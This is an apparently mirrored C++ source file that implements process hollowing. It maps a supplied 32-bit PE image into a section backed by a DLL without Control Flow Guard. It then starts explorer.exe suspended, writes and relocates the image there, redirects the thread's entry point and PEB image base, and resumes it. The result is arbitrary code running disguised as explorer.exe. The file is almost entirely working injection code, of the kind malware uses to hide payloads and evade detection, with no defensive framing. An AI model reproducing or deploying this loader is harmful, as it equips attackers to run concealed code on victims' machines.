mirror of
https://github.com/rbmm/SC
synced 2026-06-08 17:03:41 +00:00
204 lines
5.4 KiB
C++
204 lines
5.4 KiB
C++
#include "stdafx.h"
|
|
|
|
NTSTATUS FindNoCfgDll(_In_ PVOID bWow, _In_ ULONG Machine, _In_ ULONG Magic, _In_ ULONG SizeOfImage, _Out_ PHANDLE SectionHandle);
|
|
|
|
void CopyImage(PVOID BaseAddress, PVOID BaseOfImage, PIMAGE_NT_HEADERS pinth, ULONG SizeOfHeaders)
|
|
{
|
|
memcpy(BaseAddress, BaseOfImage, SizeOfHeaders);
|
|
|
|
if (ULONG NumberOfSections = pinth->FileHeader.NumberOfSections)
|
|
{
|
|
PIMAGE_SECTION_HEADER pish = IMAGE_FIRST_SECTION(pinth);
|
|
|
|
do
|
|
{
|
|
if (ULONG cb = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
|
|
{
|
|
memcpy((PBYTE)BaseAddress + pish->VirtualAddress, (PBYTE)BaseOfImage + pish->PointerToRawData, cb);
|
|
}
|
|
} while (pish++, --NumberOfSections);
|
|
}
|
|
}
|
|
|
|
void Relocate(PVOID BaseAddress, LONG_PTR RemoteBase)
|
|
{
|
|
ULONG size;
|
|
|
|
union {
|
|
PVOID pv;
|
|
PBYTE pb;
|
|
PULONG_PTR pImageBase;
|
|
PIMAGE_BASE_RELOCATION pibr;
|
|
};
|
|
|
|
LONG_PTR Delta = 0;
|
|
|
|
pImageBase = &RtlImageNtHeader(BaseAddress)->OptionalHeader.ImageBase;
|
|
Delta = RemoteBase - *pImageBase;
|
|
*pImageBase = RemoteBase;
|
|
|
|
if (pv = RtlImageDirectoryEntryToData(BaseAddress, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &size))
|
|
{
|
|
ULONG SizeOfBlock;
|
|
do
|
|
{
|
|
SizeOfBlock = pibr->SizeOfBlock;
|
|
|
|
pibr = LdrProcessRelocationBlock((PBYTE)BaseAddress + pibr->VirtualAddress,
|
|
(SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1, (PUSHORT)(pibr + 1), Delta);
|
|
|
|
} while (size -= SizeOfBlock);
|
|
}
|
|
}
|
|
|
|
NTSTATUS ProtectImage(HANDLE hProcess, PVOID RemoteBase, PIMAGE_NT_HEADERS pinth)
|
|
{
|
|
if (ULONG NumberOfSections = pinth->FileHeader.NumberOfSections)
|
|
{
|
|
PIMAGE_SECTION_HEADER pish = IMAGE_FIRST_SECTION(pinth);
|
|
|
|
do
|
|
{
|
|
if (SIZE_T VirtualSize = pish->Misc.VirtualSize)
|
|
{
|
|
ULONG NewProtect = PAGE_NOACCESS;
|
|
|
|
switch (pish->Characteristics & (IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_READ))
|
|
{
|
|
case IMAGE_SCN_MEM_READ:
|
|
NewProtect = PAGE_READONLY;
|
|
break;
|
|
|
|
case IMAGE_SCN_MEM_EXECUTE:
|
|
NewProtect = PAGE_EXECUTE;
|
|
break;
|
|
|
|
case IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ:
|
|
NewProtect = PAGE_EXECUTE_READ;
|
|
break;
|
|
|
|
case IMAGE_SCN_MEM_WRITE:
|
|
case IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_READ:
|
|
NewProtect = PAGE_READWRITE;
|
|
break;
|
|
|
|
case IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE:
|
|
case IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_READ:
|
|
NewProtect = PAGE_EXECUTE_READWRITE;
|
|
break;
|
|
}
|
|
|
|
PVOID BaseAddress = (PBYTE)RemoteBase + pish->VirtualAddress;
|
|
NTSTATUS status = ZwProtectVirtualMemory(hProcess, &BaseAddress, &VirtualSize, NewProtect, &NewProtect);
|
|
if (0 > status)
|
|
{
|
|
return status;
|
|
}
|
|
}
|
|
} while (pish++, --NumberOfSections);
|
|
}
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
//#define _PRINT_CPP_NAMES_
|
|
#include "asmfunc.h"
|
|
|
|
PCWSTR explorer()ASM_FUNCTION;
|
|
|
|
// for x86 image
|
|
BOOL Exec(_In_ PVOID Wow, PVOID BaseOfImage, PIMAGE_NT_HEADERS pinth, PCWSTR lpCmdLine = 0)
|
|
{
|
|
if (IMAGE_NT_OPTIONAL_HDR32_MAGIC != pinth->OptionalHeader.Magic ||
|
|
IMAGE_FILE_MACHINE_I386 != pinth->FileHeader.Machine)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage;
|
|
ULONG SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
|
|
CONTEXT ctx {};
|
|
ctx.ContextFlags = CONTEXT_INTEGER;
|
|
|
|
BOOL fOk = FALSE;
|
|
HANDLE hSection;
|
|
|
|
if (0 <= FindNoCfgDll(Wow, IMAGE_FILE_MACHINE_I386, IMAGE_NT_OPTIONAL_HDR32_MAGIC, SizeOfImage, &hSection))
|
|
{
|
|
SIZE_T ViewSize = 0;
|
|
PVOID BaseAddress = 0;
|
|
|
|
if (0 <= ZwMapViewOfSection(hSection, NtCurrentProcess(),
|
|
&BaseAddress, 0, 0, 0, &ViewSize, ViewUnmap, 0, PAGE_NOACCESS))
|
|
{
|
|
ULONG op;
|
|
PVOID pv = BaseAddress;
|
|
SIZE_T RegionSize = SizeOfImage;
|
|
|
|
if (0 <= ZwProtectVirtualMemory(NtCurrentProcess(), &pv, &RegionSize, PAGE_READWRITE, &op))
|
|
{
|
|
RtlZeroMemory(BaseAddress, SizeOfImage);
|
|
|
|
CopyImage(BaseAddress, BaseOfImage, pinth, SizeOfHeaders);
|
|
|
|
ULONG cch;
|
|
WCHAR buf[MAX_PATH];
|
|
|
|
if (Wow)
|
|
{
|
|
cch = GetSystemWow64DirectoryW(buf, _countof(buf) - 16);
|
|
}
|
|
else
|
|
{
|
|
cch = GetSystemWindowsDirectoryW(buf, _countof(buf) - 16);
|
|
}
|
|
|
|
if (cch)
|
|
{
|
|
wcscpy(buf + cch, explorer());
|
|
}
|
|
|
|
STARTUPINFO si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
|
|
if (CreateProcessW(buf, const_cast<PWSTR>(lpCmdLine), 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi))
|
|
{
|
|
PROCESS_BASIC_INFORMATION pbi;
|
|
|
|
PVOID RemoteBase = 0;
|
|
ViewSize = SizeOfImage;
|
|
|
|
if (0 <= NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), 0) &&
|
|
0 <= ZwGetContextThread(pi.hThread, &ctx) &&
|
|
0 <= ZwMapViewOfSection(hSection, pi.hProcess, &RemoteBase, 0, 0, 0, &ViewSize, ViewShare, 0, PAGE_READONLY))
|
|
{
|
|
Relocate(BaseAddress, (LONG_PTR)RemoteBase);
|
|
|
|
ctx.Eax = (ULONG_PTR)RemoteBase + pinth->OptionalHeader.AddressOfEntryPoint;
|
|
|
|
fOk = 0 <= ZwProtectVirtualMemory(pi.hProcess, &(pv = RemoteBase), &(RegionSize = SizeOfImage), PAGE_READWRITE, &op) &&
|
|
0 <= ZwWriteVirtualMemory(pi.hProcess, RemoteBase, BaseAddress, SizeOfImage, 0) &&
|
|
0 <= ProtectImage(pi.hProcess, RemoteBase, pinth) &&
|
|
0 <= ZwWriteVirtualMemory(pi.hProcess, &reinterpret_cast<PEB*>(pbi.PebBaseAddress)->ImageBaseAddress, &RemoteBase, sizeof(RemoteBase), 0) &&
|
|
0 <= ZwSetContextThread(pi.hThread, &ctx) &&
|
|
0 <= ZwResumeThread(pi.hThread, 0);
|
|
}
|
|
|
|
if (!fOk)
|
|
{
|
|
TerminateProcess(pi.hProcess, 0);
|
|
}
|
|
|
|
NtClose(pi.hThread);
|
|
NtClose(pi.hProcess);
|
|
}
|
|
}
|
|
}
|
|
|
|
ZwUnmapViewOfSection(NtCurrentProcess(), BaseAddress);
|
|
NtClose(hSection);
|
|
}
|
|
|
|
return fOk;
|
|
}
|